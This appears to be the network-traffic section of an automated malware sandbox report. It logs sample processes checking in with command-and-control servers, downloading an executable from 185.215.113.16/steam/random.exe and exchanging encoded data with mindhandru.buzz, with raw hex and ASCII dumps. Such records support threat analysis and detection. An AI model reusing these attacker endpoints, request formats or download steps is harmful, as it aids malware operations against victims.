Dec 27, 2024 08:52:20.069011927 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 27, 2024 08:52:20.069048882 CET	1236	IN	Data Raw: 51 e2 3e fe 13 a5 ef 51 da aa b6 f1 a0 0c 5b db 4a f0 43 e6 02 d1 40 90 73 29 33 8e 1e 2d 36 93 87 23 fa 3c 35 38 10 e5 3f a0 b3 de d3 eb 80 9a 6c 6d 29 1e 5d d8 2b 85 30 7f fa 2e 33 7e ad b2 11 20 fe 3c fc 23 96 41 ac 47 35 8b 28 95 22 7a 5a d4 Data Ascii: Q>Q[JC@s)3-6#<58?lm)]+0.3~ <#AG5("zZ$jOO@/A?;Ozpb;$B#\|(\q:29&ZiPw98{CGw0~x=wNLPwNZvJPrskR.23vPzObwNPP
Dec 27, 2024 08:52:20.069086075 CET	1236	IN	Data Raw: 48 39 cf 5d 7c e3 e0 44 09 da 22 65 4c 2a bc af f2 36 1e e3 2a 21 33 8e de 26 3f 0e bc 3a 58 10 2a 29 56 96 58 26 23 9e 32 c5 41 ad 97 5d 93 b8 35 6d a2 b8 3e 07 fa 9f 9b 4f 1a e8 d6 74 9e 95 6c c5 11 70 4a 45 40 d9 2e dc 37 11 31 90 32 d9 82 e6 Data Ascii: H9]\|D"eL6!3&?:X*)VX&#2A]5m>OtlpJE@.712(-6RX6'Z)MvWMQv{<cNIg? jgWlrqwB."T(tIx>"&^($m>2aMeIe<<\zTNJ!3GS9b:+
Dec 27, 2024 08:52:20.069122076 CET	1236	IN	Data Raw: a2 52 7d 48 22 fe d6 dc 38 e6 63 99 93 22 64 44 c0 a7 57 6d 3a cc 92 59 ea c8 e9 9d 33 59 17 19 fb ac f9 b9 be 21 8d 85 5b 31 bb 4a 2e a6 ad 98 3c 5c 15 23 63 72 32 4e 1e ef db 9a 19 1c 82 58 a5 cf 7d 6a a5 cf 56 20 48 ec 16 59 16 ee 96 65 31 51 Data Ascii: R}H"8c"dDWm:Y3Y![1J.<\#cr2NX}jV HYe1Qe0F\|u&-g=&PgM?O nz<fozXZ.Q/J3ez9=~GrQqeCyA"VEG.q,RI/l~`^\
Dec 27, 2024 08:52:20.069156885 CET	1236	IN	Data Raw: ae 38 30 b3 91 b1 1b 7c be 52 32 3e 2f 15 a0 25 f4 c0 86 8d 89 25 05 9b e7 2d a6 9f 0b ff 35 a9 6e 66 20 71 7d b1 24 ca f7 aa c0 db ab ee f2 f5 76 ec a5 0e 74 6f 23 98 3a e9 93 7d 9b 4e 74 7e ae 50 8b ba 01 b7 c8 d8 2c aa 42 81 7f 6e 29 5a b4 3e Data Ascii: 80\|R2>/%%-5nf q}$vto#:}Nt~P,Bn)Z>f(r;Zzr"L#0bw4o Dxd@[6?0yr[7&<!+#lNnQf2T*>y{:/ W;(/t%(f1i<
Dec 27, 2024 08:52:20.069194078 CET	1236	IN	Data Raw: 1e 17 da f9 22 76 37 6c 7f 65 18 96 ff 5b 07 73 53 67 19 a9 e6 62 d4 1f 10 fe d4 09 2a 24 91 5f eb dd 8b c7 76 ad dc ca d3 5d ed c8 38 91 e7 eb 21 ad f7 24 51 0a f5 5b 5e a1 3b 09 b0 27 37 f1 59 93 9e 1e 48 63 02 73 17 81 5d d8 ff d3 1d 75 c0 e4 Data Ascii: "v7le[sSgb$_v]8!$Q[^;'7YHcs]u03`lhKj'%iV~#(T[F-n)[!Xy=RK9`fq<,M=h&]vr%cN?`I/2=4h:m8NI
Dec 27, 2024 08:52:20.188754082 CET	1236	IN	Data Raw: 53 03 da cc 5a c0 93 5b 10 82 b8 7a 20 c7 02 db b0 4c 41 4e 82 28 1c 19 db 8f 42 8e a5 2c 3a f3 fa 0f 47 9f 1a d6 02 da e7 54 13 fc bf d1 6a 8c 58 3f 2a 98 74 ec b0 9b 22 3a 2d 1c 16 a3 9c 30 5e b8 36 43 09 14 00 51 82 d9 f6 35 12 2b 2e 3e 3d 68 Data Ascii: SZ[z LAN(B,:GTjX?t":-0^6CQ5+.>=hR~?ZvZLvR'Vo\TVXzj6^6JV\3ONz;X(kDr\|j2n~:#qD".,/^I!7&oax

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.6	49987	185.215.113.43	80	3664	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 27, 2024 08:52:25.895756960 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 32 34 30 37 39 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1024079001&unit=246122658369
Dec 27, 2024 08:52:27.294430017 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Dec 2024 07:52:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.6	49991	185.215.113.16	80	3664	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 27, 2024 08:52:27.418699026 CET	56	OUT	GET /steam/random.exe HTTP/1.1 Host: 185.215.113.16
Dec 27, 2024 08:52:28.766230106 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Dec 2024 07:52:27 GMT Content-Type: application/octet-stream Content-Length: 5242880 Last-Modified: Fri, 27 Dec 2024 07:41:34 GMT Connection: keep-alive ETag: "676e5a2e-500000" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 20 8b b6 d4 64 ea d8 87 64 ea d8 87 64 ea d8 87 0b 9c 73 87 7c ea d8 87 0b 9c 46 87 69 ea d8 87 0b 9c 72 87 5e ea d8 87 6d 92 5b 87 67 ea d8 87 6d 92 4b 87 62 ea d8 87 e4 93 d9 86 67 ea d8 87 64 ea d9 87 09 ea d8 87 0b 9c 77 87 77 ea d8 87 0b 9c 45 87 65 ea d8 87 52 69 63 68 64 ea d8 87 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 19 64 54 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 96 02 00 00 28 01 00 00 00 00 00 00 10 50 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 40 50 00 00 04 00 00 74 b3 50 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$ ddds\|Fir^m[gmKbgdwwEeRichdPELdTg(P@@PtP@M$a$$ $$@.rsrc$$@.idata $$@frhnetpr@+$4+$@tbiteucnPO@.taggant0P"O@
Dec 27, 2024 08:52:28.766258001 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 27, 2024 08:52:28.766271114 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 27, 2024 08:52:28.766294956 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 27, 2024 08:52:28.766355038 CET	1236	IN	Data Raw: 56 f0 81 0e 5f ef 52 11 3a ef 56 0b 80 63 ed db 56 ef 5e c3 80 64 5f a0 c5 d8 71 0b 90 63 e5 8d 85 cd 70 be fa 8b 0c 94 cb 3e 89 0e 15 ef 6e 6c 1c 0d 71 94 cb 3e 75 6d 14 0e 71 94 cd 3e 89 0e 15 ef 65 11 5f ef 69 fe 86 64 5f a0 c5 d8 71 0b 0f 53 Data Ascii: V_R:VcV^d_qcp>nlq>umq>e_id_qSV{P-_V.T-_Vlz#CuVp>uo#)wausA{qOmmpb`c{qU`>giI}sA{qOG&xpbWV{Nm8{q
Dec 27, 2024 08:52:28.766366005 CET	1236	IN	Data Raw: 56 f2 2e 68 d0 bb fd 89 d1 64 fe 8d bf cb 70 be 62 8a 0c 94 cb bc 89 97 44 7b 71 0b d0 17 70 94 56 52 f3 95 56 7b bb b9 56 7b 71 09 e0 c7 70 94 56 53 9d ad 54 7b e4 7d ca e8 69 93 5f f6 2f 95 cd 3e 5d 6c 34 0b 71 94 cb 63 ef 94 a1 1b ec 16 29 7b Data Ascii: V.hdpbD{qpVRV{V{qpVST{}i_/>]l4qc){ qA&hpb#W{){!iW;D{q3E{qWUwsW={L-bVWdqmqe{`AzqS}zF{q])dmW={*@V{p
Dec 27, 2024 08:52:28.766386032 CET	1236	IN	Data Raw: fa 8b 0c 94 ae c7 56 d3 56 64 5f 28 c6 d8 71 09 61 7c e6 cf 55 53 35 88 56 7b e4 7d d0 40 fe b8 cb 3e e5 0e 15 ef 5d c4 83 64 5f a0 c5 d8 71 ec ba 06 2c 94 83 64 5f 38 c5 d8 71 93 a1 17 e6 cf 55 f2 2e 9c 2d 77 65 94 56 f0 79 0e 56 ef 56 11 3a ef Data Ascii: VVd_(qa\|US5V{}@>]d_q,d_8qU.-weVyVV:ZqC@/V&p>U~KI{qcCJ{q%Qmdpb/I{qSV{SV{Yeq-eVWdqmwq]VdI{qpVSV{U{qpVyp}iU\
Dec 27, 2024 08:52:28.766568899 CET	1236	IN	Data Raw: cb 3e 79 6d dc 7c 71 94 cd 3e 95 0e 15 ef 65 11 3a ef 69 c3 86 64 5f a0 c5 d8 71 0b 12 53 21 8c 56 7b 84 ee c9 fe 89 96 56 64 22 97 40 97 e0 f0 56 f6 3d 8f c9 3d 72 6c 90 7c 71 94 cb 63 e5 ce 3a fe 70 e1 79 fe b1 e1 7d cb 18 97 40 2f e2 f0 56 f6 Data Ascii: >ym\|q>e:id_qS!V{Vd"@V==rl\|qc:py}@/VmXdqd_8qG1QSmV{USeV{:JpN!@/Vm4\|qc@:BK,1q{qV8XAK,VzGO{qKUw9qW={1qcq/lz3O{q={.Ddp
Dec 27, 2024 08:52:28.766612053 CET	1236	IN	Data Raw: 04 f2 5e 50 c4 d8 71 0b a5 7f 72 e5 52 f0 01 8c cd ea 69 0b 95 73 ee 55 a1 78 ea cd 4a f0 2e d0 d1 bb fd ee cb 33 79 10 15 6b a9 95 55 7b 71 94 d1 b2 fd ac d3 22 71 e0 74 20 a2 1e 4d f0 a1 0a 40 bf e2 f0 56 f0 02 90 55 eb 6d 0b a4 73 ea e5 4e f0 Data Ascii: ^PqrRisUxJ.3ykU{q"qt M@VUmsN:ewJVSi^PqrRisUxJ.3ykU{q"qt M@VUmsN:ewJVSi^PqrRisUx
Dec 27, 2024 08:52:28.766623974 CET	1236	IN	Data Raw: 76 05 2c 94 ae 2b 57 d3 56 98 2d 06 b2 7b 89 8f 77 7b 71 ea 4b d3 31 b6 93 7b 09 c8 78 38 71 33 b1 f1 0c 94 2e 6b 50 94 56 d1 6e ec be 05 2c 94 ae db 57 d3 56 98 21 0a b2 7b 89 7b 77 7b 71 13 11 33 0b 80 ae d3 57 d3 56 d3 f1 b7 93 7b cc 9d cb d8 Data Ascii: v,+WV-{w{qK1{x8q3.kPVn,WV!{{w{q3WV{qlq<w8q,OVSV{WV{qlqv\|w8q.,VSV{cPVi{qlqrw8qr,VSV{Qaf,?PV{x{qN{w8q3I.W
Dec 27, 2024 08:52:28.886049032 CET	1236	IN	Data Raw: ac 03 09 ec 73 38 71 ec d2 18 2c 94 f3 43 eb f0 56 53 41 ba 56 7b 0b 86 ae 9b 4c d3 56 d3 c1 b0 93 7b cc 05 ca d8 71 6c 7c 01 71 94 ac 76 09 54 72 38 71 ec 06 18 2c 94 f3 37 ea f0 56 53 6d ba 56 7b 0b 88 ae 5b 4d d3 56 d3 81 b0 93 7b cc 4d cc d8 Data Ascii: s8q,CVSAV{LV{ql\|qvTr8q,7VSmV{[MV{Mql(qpr8qJ,VSV{MVA{qlq)B){r8q3M.ZV^,MV{\|{qB{Tq8q3.ZVg>,SNV9{}{qHy{q8q3.Z

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49707	104.21.11.101	443	2320	C:\Users\user\Desktop\8WRONDszv4.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 07:50:25 UTC	262	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: mindhandru.buzz
2024-12-27 07:50:25 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-12-27 07:50:25 UTC	1121	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 07:50:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=4hln6u5fdgjijgudhrpj6ver1l; expires=Tue, 22 Apr 2025 01:37:04 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=WJt03KMqFGRRrI4nRI2rjgtWpC63dl9aSRu28etmaD7U08l3lcEk%2FKPstnu4qcxXk%2F8hdxsMdwHFmOBmaDxpLt2wHvdcVF4ERO2hIOgyq1MPaLJHZl3nS3OaORxIWVoV4vE%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f87b8392bbc43ab-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1589&min_rtt=1585&rtt_var=603&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2836&recv_bytes=906&delivery_rate=1801357&cwnd=221&unsent_bytes=0&cid=0e6f65ad698547a0&ts=646&x=0"
2024-12-27 07:50:25 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-12-27 07:50:25 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49709	104.21.11.101	443	2320	C:\Users\user\Desktop\8WRONDszv4.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 07:50:27 UTC	263	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 47 Host: mindhandru.buzz
2024-12-27 07:50:27 UTC	47	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=PsFKDg--pablo&j=
2024-12-27 07:50:27 UTC	1126	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 07:50:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=e1vhpdu9mp6cg39ealo5fub6vl; expires=Tue, 22 Apr 2025 01:37:06 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=hMbUcSEFWSzZNDOn7V2m%2BsBPY7oHjABco0hZK7uCFvOsQmvmTI%2FhbGtalplfp1kHlCewcI1V2PFA1%2BU%2BwS8uOa6dR58j5U4h2%2FdvR1Rpn9zQLFTASLSrvDYf8XHUYy7dc7k%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f87b8460b868c11-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2103&min_rtt=2103&rtt_var=1051&sent=6&recv=7&lost=0&retrans=1&sent_bytes=4212&recv_bytes=946&delivery_rate=72625&cwnd=203&unsent_bytes=0&cid=f021b7b35e93a3dd&ts=886&x=0"
2024-12-27 07:50:27 UTC	243	IN	Data Raw: 31 34 38 37 0d 0a 61 6a 34 58 2f 45 74 73 6e 44 4d 4d 6d 48 72 4f 42 48 6f 2f 73 2f 41 46 4b 67 46 6d 33 52 57 57 55 62 55 2b 31 39 6c 68 68 32 4d 52 48 47 48 65 63 56 69 77 45 58 2f 39 57 50 52 77 43 45 72 57 33 43 64 4c 5a 55 54 6e 63 2f 63 39 78 6c 76 37 2b 78 66 71 51 56 42 59 64 70 41 34 43 62 41 52 61 65 42 59 39 46 38 42 48 64 61 65 4a 78 41 6a 41 37 64 33 39 7a 33 58 58 37 79 32 45 65 73 41 41 6c 4a 77 6c 43 34 50 2b 46 4a 67 39 52 2b 72 59 52 74 56 33 5a 6c 6f 51 6d 78 45 38 54 66 7a 4b 35 63 45 39 5a 51 45 38 77 49 6e 58 32 53 58 61 52 47 77 53 43 37 39 46 4f 77 2b 57 46 37 57 6b 6d 6c 4d 5a 51 32 31 66 66 34 31 31 6c 71 39 71 51 6a 68 43 77 4a 63 63 35 55 6b 42 75 78 66 61 76 49 55 72 57 73 62 48 5a 2f 53 59 Data Ascii: 1487aj4X/EtsnDMMmHrOBHo/s/AFKgFm3RWWUbU+19lhh2MRHGHecViwEX/9WPRwCErW3CdLZUTnc/c9xlv7+xfqQVBYdpA4CbARaeBY9F8BHdaeJxAjA7d39z3XX7y2EesAAlJwlC4P+FJg9R+rYRtV3ZloQmxE8TfzK5cE9ZQE8wInX2SXaRGwSC79FOw+WF7WkmlMZQ21ff411lq9qQjhCwJcc5UkBuxfavIUrWsbHZ/SY
2024-12-27 07:50:27 UTC	1369	IN	Data Raw: 46 41 6a 58 50 38 6b 78 6a 44 47 54 61 43 32 45 2b 4e 42 46 78 4a 73 33 69 34 43 76 67 6b 75 38 68 53 69 59 78 74 53 31 70 4e 6e 57 6d 77 45 76 48 2f 38 4e 39 31 54 75 72 51 4e 37 77 59 41 56 58 4b 52 4c 67 62 34 58 6d 32 36 56 75 78 68 41 42 32 4a 30 6b 64 59 59 41 65 72 65 75 56 7a 79 42 4b 73 2b 77 54 70 51 56 41 63 63 35 41 6f 41 2f 35 44 5a 76 45 54 71 58 51 54 56 4e 79 66 5a 30 56 70 43 37 78 33 38 7a 6e 64 55 37 2b 2f 44 75 67 48 43 46 77 31 30 47 6b 4a 35 68 45 32 75 6a 75 70 64 68 39 52 78 39 42 64 43 48 78 4b 70 6a 66 7a 50 35 63 45 39 62 4d 47 35 67 49 44 55 33 61 57 49 68 7a 2b 51 32 6a 33 48 62 35 67 48 56 50 62 6b 58 56 43 62 51 4b 38 66 76 38 36 30 6c 75 78 2b 30 32 6c 42 68 41 63 4c 64 34 49 41 2f 56 64 5a 4f 30 59 37 48 6c 57 52 4a 47 56 Data Ascii: FAjXP8kxjDGTaC2E+NBFxJs3i4Cvgku8hSiYxtS1pNnWmwEvH/8N91TurQN7wYAVXKRLgb4Xm26VuxhAB2J0kdYYAereuVzyBKs+wTpQVAcc5AoA/5DZvETqXQTVNyfZ0VpC7x38zndU7+/DugHCFw10GkJ5hE2ujupdh9Rx9BdCHxKpjfzP5cE9bMG5gIDU3aWIhz+Q2j3Hb5gHVPbkXVCbQK8fv860lux+02lBhAcLd4IA/VdZO0Y7HlWRJGV
2024-12-27 07:50:27 UTC	1369	IN	Data Raw: 4b 77 65 76 68 7a 6d 52 79 79 6f 30 4f 39 51 53 4a 66 59 5a 30 6a 54 4d 74 53 59 50 51 66 75 69 59 48 45 38 6a 53 59 45 51 6a 58 50 39 36 39 54 76 52 54 72 71 32 41 4f 73 50 42 31 6c 36 6c 69 6b 4f 38 31 52 71 38 52 4f 76 61 78 78 50 32 35 4a 76 54 57 49 4f 74 54 65 36 63 39 42 45 39 65 4e 44 31 42 59 44 48 6b 43 64 4a 77 44 35 52 79 37 6c 56 72 55 6d 48 31 47 52 79 69 64 46 61 77 47 36 65 50 55 35 32 56 6d 2f 74 77 76 72 41 68 70 54 63 5a 34 6c 42 76 52 63 59 50 34 51 70 57 30 54 57 39 47 54 62 51 67 74 52 4c 68 76 74 47 75 58 61 4c 4b 33 44 75 70 44 50 56 39 37 6b 43 34 59 76 6b 34 67 34 31 69 72 61 6c 67 46 6b 5a 35 75 53 47 67 4f 75 33 66 7a 50 74 4a 66 73 72 67 4f 34 67 73 47 57 33 47 53 49 41 50 34 55 57 6e 2b 48 62 35 6a 45 56 48 64 30 69 6b 49 5a Data Ascii: KwevhzmRyyo0O9QSJfYZ0jTMtSYPQfuiYHE8jSYEQjXP969TvRTrq2AOsPB1l6likO81Rq8ROvaxxP25JvTWIOtTe6c9BE9eND1BYDHkCdJwD5Ry7lVrUmH1GRyidFawG6ePU52Vm/twvrAhpTcZ4lBvRcYP4QpW0TW9GTbQgtRLhvtGuXaLK3DupDPV97kC4Yvk4g41iralgFkZ5uSGgOu3fzPtJfsrgO4gsGW3GSIAP4UWn+Hb5jEVHd0ikIZ
2024-12-27 07:50:27 UTC	1369	IN	Data Raw: 74 63 39 42 51 39 65 4e 44 37 41 67 61 55 6e 75 58 4a 41 6a 32 56 6d 44 33 45 36 70 74 48 31 72 58 6e 32 39 46 5a 67 65 2b 63 2f 34 68 31 46 65 2f 74 67 6d 6c 54 30 68 62 62 64 35 78 54 74 6c 64 52 2b 6f 44 76 6e 42 59 51 70 2b 4c 4a 30 39 76 52 4f 63 33 39 7a 7a 65 55 37 32 7a 44 4f 6f 46 42 6c 70 7a 6b 79 77 42 39 45 4e 6d 39 42 57 6e 61 52 4e 50 30 5a 39 6a 52 47 63 4d 74 48 32 30 66 5a 64 62 72 66 74 62 70 54 51 46 55 33 57 64 50 30 37 68 48 33 65 36 48 36 41 6d 51 42 33 64 6e 47 64 48 62 77 69 30 66 2f 55 2f 32 56 75 77 73 67 76 74 45 77 6c 59 66 5a 38 6e 41 66 39 56 61 2f 38 63 71 32 49 65 55 70 48 63 4a 30 39 37 52 4f 63 33 32 78 54 69 48 70 53 42 51 2f 70 50 45 52 78 79 6b 6d 6c 57 76 6c 31 74 39 68 43 6a 59 42 46 52 32 35 74 73 52 47 67 41 73 33 Data Ascii: tc9BQ9eND7AgaUnuXJAj2VmD3E6ptH1rXn29FZge+c/4h1Fe/tgmlT0hbbd5xTtldR+oDvnBYQp+LJ09vROc39zzeU72zDOoFBlpzkywB9ENm9BWnaRNP0Z9jRGcMtH20fZdbrftbpTQFU3WdP07hH3e6H6AmQB3dnGdHbwi0f/U/2VuwsgvtEwlYfZ8nAf9Va/8cq2IeUpHcJ097ROc32xTiHpSBQ/pPERxykmlWvl1t9hCjYBFR25tsRGgAs3
2024-12-27 07:50:27 UTC	913	IN	Data Raw: 58 62 53 39 45 65 49 49 47 6c 4a 34 6b 53 45 47 39 31 42 71 2f 78 57 71 61 68 4a 63 31 70 78 70 51 43 4e 4b 2f 33 44 73 63 34 38 63 6c 4b 73 59 39 78 63 46 66 58 69 52 61 52 47 77 53 43 37 39 46 4f 77 2b 57 46 54 44 6c 6d 70 61 61 67 4f 78 65 50 63 68 31 6c 47 2b 71 51 54 71 42 51 39 51 63 35 45 76 44 2f 74 62 59 76 30 64 70 32 6b 55 48 5a 2f 53 59 46 41 6a 58 50 39 5a 2f 79 44 41 58 37 75 77 46 66 35 42 46 78 4a 73 33 69 34 43 76 67 6b 75 2b 52 4f 6e 59 68 68 52 30 5a 5a 71 53 48 45 4c 75 48 44 39 4f 4d 56 57 73 72 77 49 37 51 6f 48 57 6d 65 53 4a 78 7a 37 51 33 79 36 56 75 78 68 41 42 32 4a 30 6c 46 50 63 78 53 38 4e 63 55 6c 31 45 71 2b 74 67 2b 6c 48 6b 5a 46 4e 5a 6b 6c 54 71 59 52 61 50 55 52 72 32 6b 5a 56 4e 32 66 59 6b 46 6d 42 62 6c 7a 2f 6a 6e Data Ascii: XbS9EeIIGlJ4kSEG91Bq/xWqahJc1pxpQCNK/3Dsc48clKsY9xcFfXiRaRGwSC79FOw+WFTDlmpaagOxePch1lG+qQTqBQ9Qc5EvD/tbYv0dp2kUHZ/SYFAjXP9Z/yDAX7uwFf5BFxJs3i4Cvgku+ROnYhhR0ZZqSHELuHD9OMVWsrwI7QoHWmeSJxz7Q3y6VuxhAB2J0lFPcxS8NcUl1Eq+tg+lHkZFNZklTqYRaPURr2kZVN2fYkFmBblz/jn
2024-12-27 07:50:27 UTC	1369	IN	Data Raw: 33 34 39 35 0d 0a 4e 39 31 4a 70 38 78 36 6e 5a 52 4a 53 31 70 52 6a 53 47 67 44 73 58 48 78 4f 4e 34 63 2b 2f 73 45 2f 55 46 51 48 46 4f 39 4f 78 7a 4d 58 32 33 68 57 4c 4d 6f 41 52 33 57 6e 69 63 51 49 77 2b 33 65 4f 59 32 33 6c 53 78 73 67 50 68 43 77 56 62 64 5a 73 6b 43 2f 70 66 61 76 30 59 6f 47 6b 66 56 64 36 57 5a 30 63 6a 53 76 39 77 37 48 4f 50 48 4a 57 77 46 63 51 50 41 30 34 31 67 57 63 58 76 6c 5a 69 75 6b 44 73 61 42 46 63 32 5a 78 72 51 47 63 57 76 33 7a 39 50 4e 5a 54 74 62 67 43 37 77 6b 61 57 6e 57 56 49 51 6e 32 56 57 44 6f 47 61 4d 6d 56 68 33 57 69 69 63 51 49 7a 57 70 63 50 4d 38 6c 58 57 79 6f 41 4c 76 41 67 4e 51 4e 59 46 6e 46 37 35 57 59 72 70 41 37 47 73 55 55 4e 57 41 61 30 68 6a 44 62 68 39 35 6a 7a 59 55 62 61 37 42 76 63 41 Data Ascii: 3495N91Jp8x6nZRJS1pRjSGgDsXHxON4c+/sE/UFQHFO9OxzMX23hWLMoAR3WnicQIw+3eOY23lSxsgPhCwVbdZskC/pfav0YoGkfVd6WZ0cjSv9w7HOPHJWwFcQPA041gWcXvlZiukDsaBFc2ZxrQGcWv3z9PNZTtbgC7wkaWnWVIQn2VWDoGaMmVh3WiicQIzWpcPM8lXWyoALvAgNQNYFnF75WYrpA7GsUUNWAa0hjDbh95jzYUba7BvcA
2024-12-27 07:50:28 UTC	1369	IN	Data Raw: 49 6f 43 66 6c 61 66 50 45 4b 70 32 34 62 55 39 6d 62 5a 30 5a 6a 42 62 4a 33 74 48 32 58 57 36 33 37 57 36 55 6b 4b 30 74 6a 6c 47 73 74 36 55 64 6b 2f 52 53 36 62 52 6c 65 78 35 39 33 43 43 31 45 72 6e 44 6c 63 34 39 4b 70 61 77 45 2b 6b 38 52 48 48 4b 53 61 56 61 2b 57 6d 48 30 46 61 64 69 45 56 6a 5a 6b 57 4a 4e 61 51 69 7a 64 76 77 36 33 56 6d 77 76 51 6e 6d 44 77 64 64 65 5a 6f 67 41 50 63 52 49 4c 6f 66 74 43 5a 41 48 65 65 43 59 46 42 75 46 50 31 46 39 79 4c 47 53 62 69 72 42 61 63 75 43 31 42 32 6d 79 34 65 76 6b 34 67 34 31 69 72 61 6c 67 46 6b 5a 4a 6a 52 47 41 44 73 58 6a 35 50 4e 42 58 75 72 45 4e 39 77 34 4e 56 48 6d 57 4a 42 7a 30 57 33 7a 7a 45 61 46 6f 45 45 2f 53 30 69 6b 49 5a 42 7a 2f 4c 37 51 42 33 56 2b 35 72 51 37 71 51 52 63 53 62 Data Ascii: 